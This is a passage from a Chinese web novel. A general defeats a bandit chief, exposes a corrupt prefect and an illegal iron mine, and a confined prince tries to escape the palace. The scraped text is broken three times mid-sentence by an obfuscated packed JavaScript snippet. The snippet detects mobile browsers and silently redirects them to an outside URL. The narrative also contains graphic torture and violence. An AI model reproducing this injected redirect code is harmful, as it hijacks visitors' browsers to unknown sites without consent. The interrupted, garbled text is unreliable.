而死的八个人,户籍查不到,不是雄州人。 那只有一种可能。 他们来自达州。 达州太守冯伟的人? 他知道太多冯伟的秘密,冯伟是怕此番钱元龙把事情闹大,捅到严华城去,所以想想下手为强,把他除掉以绝后患?不过他们怎么会死在太守府?谁杀了他们? 难道是…… 不管是什么情况,冯伟的事也得放放,他必须先除掉钱元龙,再想办法对付冯伟。 州军按原计划从安通城驻地开拔,两日便抵达西南。 打头的将领穿着朱红战袍,腰间配一柄镶着红蓝宝石的长剑,头盔上插着鹖羽,胯下一匹健壮青马,意气风发,正是钱元龙的独生子钱飞。他以留在刚死了人的太守府害怕为由,非得跟着刘景前来。 别的兵士看不上他的作派,腹诽他以色侍人、弑父灭亲、大逆不道、无情无义…… 一名都尉嚼舌根:“太守还给了他个官,让他打头阵,哼,谁知道他上阵杀敌用的是刀子还是沟子。” 他身边的百人将说道:“太守夫人明明是正室,却能容得下这么个东西在府中,真是能忍。” “听说太守夫人跟太守从小就认识,太守大人是农民出身,太守夫人自然没权没势,只能当个摆设。” “我听说太守大人小时候家里人就是被钱元龙杀害的。” “哦?原来拐人家独子是为了报仇?” “没那么简单。”最开始说话的都尉勒马,压低声音说,“太守大人的家人是被钱元龙匪帮杀害没错,但他也是被钱元龙养大的……据说钱元龙给他钱读书,他才有机会考取功名,做了大官。” 百人将纳闷道:“这……好生奇怪啊,钱元龙为何资助他读书?他怎么也接受了?” 都尉笑得暧昧,说道:“哪有天上掉馅饼的好事儿啊?你上了我,我就上你儿子呗。至于什么杀父杀母的仇人,在土匪窝子里,什么都没有活下去挣口饭重要。” 周围一圈听见的、假装没听见的,都露出心照不宣的表情。 一名都伯问道:“所以咱们是去替太守大人公报私仇的?” 都尉道:“有那么个意思吧,不过剿匪之事,是皇上亲自下旨还派了将军领兵,只不过太守大人不肯放权,若是早些派出大军,那陆节镇和咱们的兄弟也不会被围困在庆红山里。这件事太复杂了,牵扯了诸多利益,否则钱元龙也不会活这么久。” 一起聊天的几个下级军官忿忿道:“闹半天,咱们兄弟是被当枪使了?” 众人忽然沉默,这股沉默在军中弥漫开来。 忽有一人道:“新来的节镇大臣听说是中军的将军。” 都尉道:“何止,他以前是镇北军的先锋!” 一听到镇北军三个字,附近的将领兵士都激动起来。大承国军分为三军,中军保护京畿地区和皇都严华城;地方军也就是州军,分布在各个州属;最后一支军队是戍边军,也是大承国兵力最强大的军队,目前大部分镇守在建宁关,也就是由谢淮屿统领的镇北军。 凡行伍之人无不听说镇北军的威名,有镇北军在,便能护佑大承边境安宁。镇北军军纪严明,作战能力强,由镇北军调派出来的士兵或将领,无论是去中军还是地方军,都因其能力和作风而受到尊敬。 众人顿时为陆节镇感到惋惜,对太守刘景的不作为更加气愤。但他们身为军人能做的,只有服从命令。 州军距离谷口约莫六七里时,谢淮屿率领两路人马从山上奔袭而下。因为是从两个意想不到的方向冲下来,钱元龙得到消息的时候吃了一惊。 但令他没想到的是,那两路人马却没有朝他们过来,而是向他们后方的山林中奔去。 他只是个土匪,脑子小,只能猜到州军是想从山路跑出去,于是自己亲自率了兵马追了上去。 刘景的心腹报告给他,前方五里,两军马上就要交锋,他下令放缓行军速度,心里暗骂钱元龙废物,他走了两天了,竟然还没把陆云旗解决了。 他想的是陆云旗钱元龙双方能斗得两败俱伤,他好渔翁得利,但以现在的局势来看,倘若他现在过去,那就只能先解决钱元龙,然后再趁乱杀了陆云旗,总之这两人一个也不能留。 麻烦,但不是不可行,所以他得多拖一些时间。 他放慢行军速度,正中了谢淮屿的下怀。 谢淮屿率两路共一千的州军气势汹汹行至林子边缘停了下来,横在钱元龙和即将到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147463|164724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的刘景之间。 钱元龙勒马停住,州军有很多在树林中,雄州西南树木繁茂,他怕有州军藏在林中,所以没有贸然进攻,停在距离州军不到五十丈的地方。 一身着玄色暗银云纹织锦袍的年轻男人策马上前,他那及腰长发未束冠,仅以一条黑色发带将额前发向后一拢,梳成一条利落的高马尾,几缕发丝沾着薄汗贴在冷白颈侧,看得出风尘仆仆,但浸过寒潭的目光却如他手中的玄铁长枪枪尖一般锐利。 钱元龙心中倏地一跳,没由来的紧张,握缰的手心直冒汗。 这人不是陆云旗。 他当山大王三十几年,直接死在他手里的,无论百姓还是当官的,亦或是江湖上所谓正义之士,超过三千。阎王爷来了,审都不用审,直接打入十八层地狱永世不得超生。他手里的白虎刀凶煞至极,从未遇到过对手。但面对这比自己独子还年轻的男人,他却心里打鼓,打打杀杀一辈子的直觉告诉他,这人不容小觑。 他后悔只带了两千人马,其他留着堵谷口了。 “对面的小子,报上名来!”他高声喝道,握紧了白虎刀。 陌刀足有一丈长,一刀下去连人带马一并斩杀,刀刃寒光凛凛,都是冤魂。 谢淮屿问道:“你就是钱元龙?” 钱元龙:“行不更名坐不改姓!小子,我就是你钱爷爷!” 谢淮屿轻轻吐出一个“好”字,双腿一夹马腹,竟直直冲了过去。 钱元龙心里一哆嗦,嘴上不饶人,喊道:“王八犊子!让爷爷教训教训你!” 他话音未落,谢淮屿已然以一种不可思议的速度冲至跟前。他急忙挥刀,陌刀失了准头,但依旧寒芒凛冽,切断了一撮马鬃。正当他要调整姿势继续进攻之时,玄铁枪枪头已蛇一般自他下颚挑起。他避闪不及,向后仰倒,跌下马背。 他下巴一阵滚烫,一摸满手的血,若是再差几厘,恐怕他的喉管就要被豁开了。 土匪头子正要起身,眼见那玄铁长枪在半空借马背腾跃之势抡起,旋出半轮满月,朝他砸来。 他屁股擦地向后退去,这辈子的敏捷都使了出来,那长枪一击未中,以一种奇特的角度灵巧回转,刺向他的面门。 钱元龙奋力举刀,堪堪挡住枪头,金属相接爆出刺目火星。长枪毫不给他留喘息之机,枪头一转,枪杆与枪头连接处重重地撞上钱元龙的手腕,白虎刀顿时脱手,飞出去几丈远。 钱元龙站起来,刀也不要了,本能地想逃,一道银光闪过,他还没看清谢淮屿的动作,就被一股猛烈的冲击力掼倒在地,长枪穿过他的右肩,将他死死钉在了地上。 “……你……你……你别过来!!”力拔千斤、横行霸道的土匪头子拼了命的挣扎,但枪锋连带枪杆没入土地近十寸。 钱元龙顾不上面子不面子,面对走来的杀神只能求饶,蹬着两条肥粗的腿带着哭腔说:“你到底是谁啊……放了我吧,饶我一命,我就撤兵,以、以后我与刘景桥归桥路归路,我那不孝子他喜欢就给他,求、求英雄饶我一命、饶我一命……” 谢淮屿居高临下地看着他,说道:“我暂且不要你的命,但你要告诉我你与刘景的所有勾结。” 钱元龙一脸懵逼,但他说什么是什么,和自己的命相比,刘景算个球啊。“好好好,我都答应你,我都答应,你让我说什么我都说!!” 谢淮屿本就是想生擒钱元龙,他让陆云旗带兵突围、拿滚石砸,都是为了吸引钱元龙的主意,他好趁机带兵出谷。 跟他想的一样,钱元龙心高气傲,完全不把州军放在眼里,也没把他放在眼里,所以他才能单挑钱元龙,并以最快的速度生擒钱云龙。 他穿着鹿皮靴的脚踩住钱元龙的肩,在土匪头子尖叫之前一把拔出了玄铁长枪。 钱元龙半条腿迈进了鬼门关,腿软得根本站不起来,被州军架起来止血。大王被擒,跟着过来的贼寇立刻没了主意,想趁乱跑走,却被州军围住,纷纷放弃抵抗学着老大的模样跪地求饶。 就在收押匪军时,后方传来阵阵马蹄声。 谢淮屿回头看去,刘景携州军行至山林边缘。 14. 第 14 章 钱飞打头阵,远远瞧见一片混乱,手一抬让大军停下。 前方的士兵身上的铠甲是州军的,押解的俘虏他也熟悉,是他爹的手下,但没看见他老子的身影。他看不明白局势,不过身后是一万州军,无论谁胜谁负,他都有十足的底气。喝道:“前方是雄州连天营,还是武威营?” 谢淮屿打马上前,这声音他前几日夜里刚听过,蹙着眉上下打量了一番钱飞。 钱飞眼睛都看直了。 他在土匪窝里长大,小时候误闯了他爹的屋,看见了他爹跟刘景苟合的场景,受了很大的刺激,也从此开了窍,天天琢磨打扮和男人。可身边净是些歪瓜裂枣,只有被他爹养着的刘景生得高大,五官也周正,算得上鸡窝里的凤凰,早在他懵懂之时就背着他爹跟刘景搞在了一起。算是某种意义上的子承父业。 他被谢淮屿打量,心脏都要跳了出来。他哪儿见过如此天人之姿的男人,刘景跟他一比简直云泥之别。 “钱飞?”谢淮屿问道。 “是,我是钱飞!”钱飞激动道,“敢问阁下是?” 谢淮屿目光冰冷,下令道:“绑起来,跟钱元龙关在一起。” 两个士兵上来就要拉钱飞。 钱飞挣开他们的手道:“干什么!?你们知道我是谁吗就敢绑我?我是刘景刘大人亲封的都尉先锋官!来人啊!把他们给我抓起来!军法处置!” 一队十余人的州军立刻将谢淮屿等人围了起来。能看得出这些州军并不想听钱飞的命令,但又不能不服从。 谢淮屿不想透露身份,问道:“刘景人呢?” 他目中无人的态度让钱飞不爽,但却激起了他的征服欲。他策马走到包围圈中,绕着谢淮屿转了两圈说:“阁下难不成是抓到了我爹,想向刘大人邀功请赏了?” 谢淮屿:“钱飞,你与你爹同样背负命案,其罪当斩。” 他想等刘景落网后,让他们一并签字画押再行处置。刘景若是坐实了谋逆之罪,就不是斩立决,而是诛九族了。 可谁知钱飞暧昧地靠近他,说:“美人,你口气不小……” 他话还没说完,就被谢淮屿一脚踹下马去,在地上滚了好几圈,那朱红的新袍上面裹了一层泥。爬起来气急败坏就抽刀要去砍谢淮屿。 他拿不动陌刀,镶着宝石的刀装饰性大过实用性,离着老远就被玄铁枪的枪头顶住了咽喉。 刘景从马车一下来就看见自己的小情人被人欺负,正要□□,定睛一看那马上坐着的男人,吓得向后退了两步,撞在马车上。 “大人救我!”钱飞喊道。 刘景看也不看他,定了定心神,整理了下衣衫,拱手道:“下官见过大将军。大将军怎会突然来访我雄州?应该提前知会下官,下官好夹道欢迎!” 钱飞愣住了,随后反应过来,脸色变得煞白,大承国能被尊称为大将军的,除了镇北大将军谢淮屿之外,没有别人。可是……可是谢淮屿他不是安亲王的王妃吗?男妻不应该是跟他一样以色侍人吗? 谢淮屿:“刘景,你私通贼寇,致使百姓流离失所,后泄露军机,陷州军于战败困地,本将军奉旨剿匪,并拿你归案,不想吃苦头的话,速速束手就擒。” 刘景心下骇然,其实他在看到谢淮屿的同时,就知道自己的事情败露了。 皇帝信了孟祈生的话?还是陆云旗的羽檄有漏网之鱼,送达了严华城? 不管是缘何败露,他都是死罪难逃。 若想活下去,只有一个办法。 他后退了几步,突然说道:“大将军,刘某与您有几面之缘,同朝为官,敬重您是大承国之栋梁。今日在此地遇见您,刘某也没什么好说的了。您是英雄,是镇北大将军,但这里是雄州。您看看,周围可有镇北军?”他笑道,展开双臂,“此处都是我雄州的州军。我在雄州做太守十年,没有我就没有现在的雄州,雄州就是我说了算!您能以一敌百不错,但我州军万人在此,您要如何离开呢?” 数十亲兵上前,挡在谢淮屿和刘景之间。 小兵只听百夫长的,百夫长只听都尉的,都尉听校尉的……总之一级听上一级的,就算皇帝来了,也喝不动小兵,因为谁也不认识皇帝,但认识上级。 同样的道理,刘景掌控雄州州军十年,他就是雄州州军的顶头上司。 他信心满满地后退至林子边上,不顾钱飞的求救和咒骂,大声说道:“大将军所说罪状,恕刘某不能认,刘某忠心为民,苍天可鉴!大将军万不该孤身一人来庆红山中与贼寇相斗,身死都没人收尸……来人!杀了谢淮屿!谁能杀了他,赏黄金万两!!” 谢淮屿骑马在原地未动,有些士兵听到重赏蠢蠢欲动,但都很犹豫,只有几个亲兵举着刀往前挪了挪。 “我看谁敢动!”忽然一名都尉打马上前,挡在谢淮屿前面,“你们疯了还是傻?刘景与钱元龙勾结,害死百姓无数,安通城的流民你们看见了,他还出卖情报,让州军涉险!你们还听他的?” 都尉统领三千州军,算是军中仅次于刘景的高级军官,他手下的兵都听他的,顿时吵嚷起来。 刘景怒喝:“反了!你们要反啊!” 突然后方山区传来阵阵铁蹄声,在谷内的陆云旗率领被围困的州军冲破群龙无首的匪军,直奔而来,在刘景军对面摆开阵势。 刘景感到一阵心悸腿软。 谢淮屿长枪指着刘景道:“要反的是你!” 他浑厚的声音穿透力十足,高声道:“罪臣刘景勾结匪徒、贪赃枉法、以权谋私、意图谋反。数罪并罚,其罪当诛。众将士听令!” 陆云旗和都尉打头,州军齐声道:“是!” 谢淮屿:“诛杀刘景,凡同党抗命者,同罪论处,皆戮之!” 刘景被乱刀砍死,割了头带回复命。 匪徒俘虏四千余人。 钱元龙和钱多被绑回太守府连夜审问,悉数列举罪状,记录了厚厚三本。在匪徒山寨搜出金银百万两和堆积如山的珠宝。另外,在钱元龙的住所内解救出十数名少年少女,地窖中的尸骨用铁钩勾住眼眶挂在房梁上…… 陆云旗带人抄了太守府,在密室中搜出金银珠宝数不胜数,还有这十年来刘景与钱元龙等贼寇的利益往来账册……这些都是刘景和钱元龙的罪状。 短短三日,雄州变了天。 百姓们不知细节,但知道刘景伏诛,西南的匪患也被清剿干净,拔掉了毒瘤,流民能回到家乡,对州军和陆云旗感激涕零。 谢淮屿命州军都尉暂时统领州军,陆云旗带着罪状回严华城复命。 、 皇宫。子时。 孟祈安换了身寻常布衣,蹑手蹑脚地走到寝殿门口,从门缝往外看去。 寝殿门口没有人。 “开门开门!”他小声催促季青。 季青为难道:“王爷,这么晚了,咱就别折腾了吧?” 孟祈安眼睛盯着外头,说道:“今日是贵妃生辰,皇兄宿在她那儿不会回来,现在不走就走不了了!” 皇帝虽然没有明说禁足二字,但在寝殿门口加派了宿卫军看守,每次他走到门口,都会被拦回来。 “……皇兄根本就不担心淮屿。”他嘟囔着,自己推开一条缝,从门缝里钻了出去,“我担心,我得去找他。” 季青跟着他:“小的觉得吧……大将军确实不需要担心。放眼天下,还有谁能伤得了他?” 孟祈安:“可龙泉寺那两人说派了刺客,明枪易挡暗箭难防,万一他睡着了大意了……”他不敢想,摇摇头把这可怕的想法从脑中驱逐出去。 寝殿门口没有人,但是院门口有。他看见大门口站着两个宿卫军。 “走走走,这边不行,咱们从后面走。”他推着季青往殿后走。 后门也有俩。 “……”安王很不高兴。抬头望了望天,月黑风高。 月黑风高适合爬墙。 他这两天每天在院里溜达,早就想好了。 花园里有一株大槐树,只要能爬到树枝上就能够得到院墙。 见他越爬越高,季青心都提到嗓子眼儿了,只感觉脑袋已经跟身子分家了:“王爷,我的亲祖宗,求您快下来吧……求您了!” 孟祈安右手还没好,但这段时间锻炼颇有成效,竟也让他顺利地爬到了树枝上。 季青没办法,只能跟着爬树。 孟祈安站在粗壮的树枝上,距离院墙还有四五尺。 季青:“爷,爷,您别…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147464|164724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “!!”他还没说完,就看孟祈安义无反顾地跳了过去,“啊啊啊啊王爷!!” 墙头檐砖是圆滚滚的,孟祈安前后晃了半天才稳住了身形。 这要掉下去,保准得摔残了。季青心想,捂着胸口缓了半天才缓过来。 可谁知忽然一阵大风呼啸吹来,孟祈安被吹得一晃,脚下一滑,摔了下去。 千钧一发之际,他左手扒住了墙头。 季青吓得快吐血了,顾不上别的了,大喊一声:“王爷!!” 孟祈安怕他的叫声引来宿卫军,宿卫军来了他就跑不掉了,于是一咬牙松了手。 “!!”果不其然蹲了脚。 他无声地龇牙咧嘴,站起来动了动,没断。 没断就能跑。 谢淮屿啊谢淮屿,我为了你可是连命都豁出去了,你可千万不能有事。 他听见宿卫军的声音,抛下季青自己一瘸一拐地向宫门口跑去。 他已经让人备了马车和干粮,只要出了皇宫,他就能去找谢淮屿了。 穿过御花园,他为了抄近路走的小石桥,前几天下的雪还没全融化,他一脚踩上去咚的一声滑倒摔了个屁股墩,差点没出溜进湖里。 他架着折了的右手,捂着屁股,继续一瘸一拐往前跑。 宫门口是他安排的人,他混在宫人之中,企图蒙混出去。 就在走出宫门的瞬间,一人突然叫他:“安王殿下?” 他低着头继续走,却被人提住了后脖领子。 “安王殿下这是去哪儿?”慧云飞问道。 孟祈安:“……”他想哭。 好不容易都到这儿了…… “慧副将,我要去找谢淮屿。”他只能寄希望于慧云飞能理解他,说完眼泪就啪嗒啪嗒落了下来。 慧云飞哪会应付,手忙脚乱道:“殿下、殿下,您稍安勿躁,微臣刚得到大将军的加急密信。” 孟祈安一激动抓住他的手臂:“他怎么样?他没事吧?” 慧云飞:“大将军没事,他说事情解决了,不日便会回严华城。” 孟祈安半天才回过神来,确认这事应该是真的,感到悬着的心终于回到了肚子里。 “没事就好。嘶嘶嘶!”他松懈下来才发现浑身疼,又哭又笑对追赶而来的季青道,“走,找皇兄去解禁足,我要回王府!” 第二天皇帝听说他昨夜的爬墙“壮举”气得够呛,直接让他禁足一月,每日教太子书法。 孟祈安虽然不满,但也没办法,不过好在谢淮屿在回来的路上了,只要谢淮屿回来,皇兄一定会让他回府。 “九叔,为何大将军回来了,你就能回府?”太子问道。 孟祈安也答不上来。 太子:“因为大将军是你的王妃吗?” 孟祈安:“小孩子胡说八道什么。快写!” 太子只有九岁,以为九叔是害羞:“九叔,你笑什么?” 孟祈安:“没什么。诶,少宁,你说谢淮屿回来,我送他什么好呢?” 孟少宁道:“你以前总是送他花,还有衣物,父皇母后赐给你什么,你都说要给他。” 孟祈安:“我这么大方吗?” 孟少宁点头:“你不记得了,上次罗傲进贡了一匹汗血宝马,我很喜欢,求父皇赐给我,但却被你截了胡,送给了九婶!” 孟祈安:“九婶?我的王妃小九吗?” 孟少宁想起来就气:“对。跟小孩子,还是亲侄子抢东西,你真有出息!” 如此过了五日,也没见谢淮屿回来。 孟祈安着急了,去暖阁堵他哥。 皇帝没空见他,正好陆云旗出来,被他拦住打听。 陆云旗:“大将军离开安通城已有五日,说要前往达州。” 孟祈安:“达州?他去达州干什么?” 陆云旗挠挠头,军中机密,即使是亲属也不能告知,于是扯了句:“可能是去游山玩水放松放松吧。” “殿下,微臣还有事,先行告退。” 他走了,留下孟祈安听者有意,戳在原地越想越生气。 “我这么担心你,为你翻墙为你摔成狗为你被禁足……你却跑去游山玩水?!” 15. 第 15 章 达州的山比雄州更多,但谢淮屿没兴趣游山玩水。 他在刘景太守府的密室中发现了一本账册。 账册乍一看与其他和钱元龙往来的账册一样,但细看里面有些账目对不上。钱元龙手里的商铺田产全部充公,将来会发放给被他欺压流离失所的西南百姓,其中安通城内的几处铺子出入账的内容很奇怪,明明是普通布匹、米面,价格却远远高于寻常商铺,而且数量巨大。 既然是记录的是寻常商品,为何账册会存放于密室中? 谢淮屿搜查了账册中的商铺,货品库存绝无可能是账册上记录的这般大。商铺有自己的账本,每一笔都有记录,刘景账册中的内容却与之完全不同。也就是说,刘景只是拿商铺套了个壳子。 刘景早已视雄州为自己的地盘,他十分贪财且胆大滔天,密室藏在太守府一处废弃的井中,很难被发现,其他账册都明目张胆地记录真实内容,只有这本还披了层皮。 事出反常必有妖,账册上面记录的只有商品入库,所以商品一栏应该是所花费的银两,一共十批,分一年交付,数额高达十万两白银。 刘景到底买了什么?从何处购买的? 谢淮屿突然想起前几日他在太守府被刺杀的经历,而负责清点匪徒物资的官员来报,这群贼寇所用的兵器上有八成没有刻字,也就是说,这些刀枪都是私铸的。 钱元龙都不用上刑,破罐子破摔地直接招了,兵器是刘景给的,至于刘景是哪里搞来的他就不清楚了。他的口供与账册中批次数量相符,刘景账册记录的应该就是钱元龙私军所用的兵刃。 钱飞为了活命,提供了一条线索,他说庆红山山脉贯通雄州和达州,其间有一条密道,他很多年前见有马车在山寨凭空出现,运来的正是刀枪弓羽。 谢淮屿再次回到庆红山山寨,密道藏匿在山林深处,确实不易发现。 山寨距离达州边境只有二百余里,密道是马道,他骑马一天一夜就能到。 然而刚刚进入达州境内,他便又遇上了刺客。这回他没硬刚,而是选择了跑,因为对方人数太多了。 黑衣人不断地从山林四面八方出现,向他追来。和太守府的刺客一样,训练有素,大约百八十人。 这些人是真的想要他的命,铁蹄声如闷雷碾过树林,惊起寒鸦。 “放箭!!”有人喊道,“杀了他!!” 箭羽泼天而下,谢淮屿猛扯缰绳,马嘶鸣着冲入左边的松林,弩箭噼里啪啦地钉入他身后的树干。好在他的马是罗傲进贡的汗血宝马,能日行万里夜行八百,奔驰速度快得惊人,一般的马难以望其项背。 左侧松林也有刺客埋伏,他松开缰绳,抡起长枪,枪尖挑落几个刺客,杀出一条血路,驰骋而去。 他可以一个一个杀,但是对方这么急于要他的命,说明他离真相越来越近了,他不想浪费时间,枪杆打马,闪电一般冲了出去。 很快他便甩掉了刺客追兵,全速疾驰了一个时辰,在天黑前进入了最近的文君城。 他卸了马笼头,放马在城外找吃的,自己步行入城,没有找客栈,在城中找了个废弃的破庙,吃了些东西,坐在地上靠着须弥座小睡了一会儿。 又过了大约一个时辰,他听到有人进了破庙,倏然在黑暗中睁开了眼睛。 是在林中追杀他的刺客,果然没有放弃。 两个刺客蒙着面,其中一个说话:“找了半宿了,说不定人就没进城。前面四十里的鹿角城更大,说不定跑去那儿了。” “别废话了,上头让干什么干什么,找不到咱们都得掉脑袋!” “嗯,当心点,雄州折了八个兄弟,谢淮屿可不是草包……” 二人分开搜索破庙。 谢淮屿双手双脚撑在殿门正上方,一人推门,双脚刚迈进来,谢淮屿便悄无声息地跳下来拧断了他的脖子。 他将人拉到须弥座旁边,披上那人的外罩。 “后院没人……”他刚蒙上脸,另一个刺客便走了进来,第一时间没认出他来,还在说话,“我就说嘛,这破庙连个鬼都没……” “有”字卡在他的嗓子里出不来,因为他被人掐住了脖子。 等他反应过来对方是谁、想要反抗已经来不及了,他甚至没办法咬埋着毒的牙。 谢淮屿在他昏死过去的前一瞬放开了些,掐着他的咽喉,刀柄捅开他的嘴。刺客只觉嘴里一片冰凉,随后又是一热,登时被涌出的鲜血呛了喉咙。 谢淮屿用刀撬了他的毒牙,扔在地上。 那人跪在地上咳咳咳的,半晌才能呼吸。 “谢……” 谢淮屿一脚踩在他要发信号的手上,手骨顿时碎了。“谁派你们来的?” 刺客眼神如恶狼,吐了一口血道:“我是不会告诉你的!” 半柱香的功夫,恶狼脸上干干净净,别说血了,一点血色都没有,神情恍惚地走了几步,然后倒在地上没了气。 天知道他受到了什么折磨,从外表看不出来一点,但五脏六腑没有一处好的。 谢淮屿逼问出达州确实有私矿,但是要问他们到底是谁派来的时候,刺客突然咬舌了。 他擦擦手上的血,出城往北面沿着山路前行,不出半日的功夫,荒凉的山岗突然出现了很多人。 不是农民,大冬天的只穿单衣,背着的筐里都是矿石。 谢淮屿进入矿区,山峦掩映中有一座规模不小的阶梯状露天矿坑,深度足有二十余丈。是大承国严令禁止私挖的铁矿。 有了铁矿,便能私铸兵器,所以大承只有皇帝才有开采的权力。 矿工挖出铁矿,便直接运送到三里外的锻坊冶炼,私铸的刀枪堆了满满一仓库。 谢淮屿潜入仓库,发现这些刀都是制式的军刀,军刀开双刃,刀刃偏长,适合在战场上砍杀敌人,绝不可能是卖到民间的。在达州发现私矿和私铸兵刃,达州太守脱不了干系。 所以刺客是达州太守派来的? 谢淮屿与冯伟有过几面之缘,此人跟刘景不同,他爹是大学士,他学问一般,但很会做人,加上他爹的关系,所以年纪轻轻就连升几级,前年从兵部去了达州做太守。 他的地盘上有私矿,无论他是否知情会参与其中,他都难逃其咎,若是查出私矿与他有关,那就是杀头的大罪。 封矿、缴获私铸兵器、抓捕冯伟,还不能打草惊蛇,要顺藤摸瓜找到私铸兵器的买家……谢淮屿思考要如何将消息尽快传递出去。唯一的方法就是通过镇北军的情报网,但即使情报网再快,传回到严华城,皇帝再下旨,怎么也至少要四天时间。 刺客追杀他,就说明冯伟或者私矿所有者了解他的动向,肯定也知道他是从密道来的,雄州的事闹得很大,即使他不让人声张,肯定也传到了达州。 陆云旗前来雄州上任剿匪之前,他写过书信给达州州军将领,陆云旗被围困,达州没有派兵前来支援,说明达州州军也掌握在冯伟手中。 一个有两万精兵,又有私矿的太守,比刘景更难对付。 四天的时间,足够冯伟销毁证据或畏罪潜逃了。 镇北军西南驻军离这里只有一天的行程,他决定将情报传回严华城,同时不等待皇帝的旨意,直接调镇北军西南驻军过来协助他。 正当他想悄悄离开时,忽然听到矿坑那边有骚动。马蹄声、叫骂声、呼喊声交织在一起,远在三里之外都能听见。 有人大声喊着“封矿”、“不走的就地埋了”……并有马蹄声越来越近。 仓库后面是悬崖,谢淮屿到时候很难全身而退,他犹豫了一下,选择先离开。 他发了密函,找到最近的情报网发了出去,然后动身前往西南驻地。 等他帅西南驻军来时,矿坑已经被连夜填平,刀枪也被运走,仓库直接推下了悬崖,一切都做得仓皇急躁。 若是谢淮屿没来过这里,恐怕根本猜不到这里曾经有铁矿矿坑和私铸铁匠坊。 他命人在此搜集证据,带人去达州首府知乐城,可惜还是扑了个空,冯伟不见了。 三日后,他接到皇帝的诏书,命他即刻返回严华城。 、 接到皇帝解禁足的口谕时,孟祈安人在善习堂,正拿着戒尺走在学生中间,摇头晃脑地说:“你们要记得,习字最关键的一点是静心,只有静心凝神,才能写好字。字如其人,你们看本王写的,已经人字合一,达到了一字一世界的境界。” 皇子公主少爷小姐们哇声一片,讲堂比池塘还热闹。 周常宣了陛下口谕之后,他一激动把笔扔了。 太子:“九叔,你不是说要静心吗?” 孟祈安:“静什么静,再静下去就要变和尚了!都去玩吧!有人问起来就说本王让你们今日早散学的!” 他在学生们的欢呼声中往外跑去。 走到门口遇到了王松清:“殿下这么着急是去哪里?” 孟祈安:“皇兄解了禁足,本王回府啦!” 王松清:“殿下着急回去吗?” 孟祈安:“当然着急!” 王松清:“回去干什么?” 孟祈安一时语塞,是啊,他着急回去干什么?谢淮屿也不在…… 想到谢淮屿,他又变身气包子,那个混球忙完了不回来,还跑去游山玩水!半个多月了,也不给他写封信,好歹问问他要不要一起游山玩水啊…… 凭什么只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“兄长。”王松清站起身来,殷勤地介绍道,“殿下,这位便是我的大哥,新任太子太傅,王洛清。” “安王殿下。”王洛清拱手行礼。 孟祈安与他寒暄了几句,不动声色问道:“王太傅的玉佩油润细腻,造型独特,在哪儿买的?” 王洛清笑道:“殿下若是喜欢拿去便是。”说着取了下来,“是在城中的琼华苑买的,是最近最为流行的款式。” 孟祈安翻来覆去看了半天,还给他道:“君子不多人所好。” 他觉得这人声音跟那日在龙泉寺听到的不太像,不能保证是不是一个人。 第二日他便去了琼华苑。果然如王洛清所说,店铺内有很多类似的款式,有大有小,材质基本上都是价格不菲的好玉。 店老板介绍道:“这是本店卖的最好的款式,也是独家款式,京中很多达官显贵都有,我看公子气度不凡,只有上好的羊脂玉才配得上。” 孟祈安架不住他一顿猛夸,最后选了两个一模一样的玉佩,是同一块玉雕成,可以扣在一起,取的是同心同结的寓意。 “公子好眼光啊!这并蒂同心佩,最适合送给心爱之人。还是龙泉寺大和尚开过光的,保佑相爱之人白头偕老永结同心呢~” 孟祈安脸上一热,清了清嗓子:“咳咳,我是自己换着戴、戴着玩的!”说完将玉佩小心地收进了袖子里。 不过老板的话他记在了心里,准备在暮春诗会找出龙泉寺中的人。 、 谢淮屿回到严华城,跟皇帝汇报了雄州和达州的事,便急吼吼地回了王府。 半个多月没见到孟祈安,他其实心里又是担心又是想念。 他一进王府就直奔与孟祈安的寝室。 “祈安!”寝室点着灯,本以为孟祈安在家里等他,结果一进里间,床上竟躺着一位仅着薄衫的年轻女子。 那女子见他进来吓得花容失色,拉过被子遮住身体:“你是谁啊?怎敢擅闯王爷的寝室!?” 一名陌生侍女听见声音跑了进来:“小姐!”将女子护在身后,大声呵斥道,“来人啊!把这登徒子赶出去!” 谢淮屿冷冷道:“你是谁?” 那女子现在才想起来,赶忙裹着被子在地上跪下:“妾身未认出大将军,还请大将军恕罪……”她可怜兮兮地说,“妾身叫贺知良,是……来伺候王爷的,王爷收下了妾身,所以妾身现在就住在莫桑院。” 16.第 16 章 贺知良换上了衣服,谢淮屿认出她挽头发的系带是孟祈安的发带。 少女年方十八,发觉用错了东西,脸上羞得通红,慌忙要解下。 “大将军,妾身不是有意的……是王爷那晚忘在妾身房中的……” 谢淮屿握紧的拳头微微颤抖。 那条发带是他在建宁关外的互市买来送给孟祈安的。暗金色合欢花的图案此刻显得狰狞而刺目。 苦意漫布全身。喉间却泛出腥甜。 似有无数细针从他指尖刺入,顺着血脉往心脏里扎。 贺知良:“大将军……妾身为您奉茶……” 谢淮屿一把掀翻了她递上的茶,茶杯滚落在地,滚烫的茶水泼在少女身上。 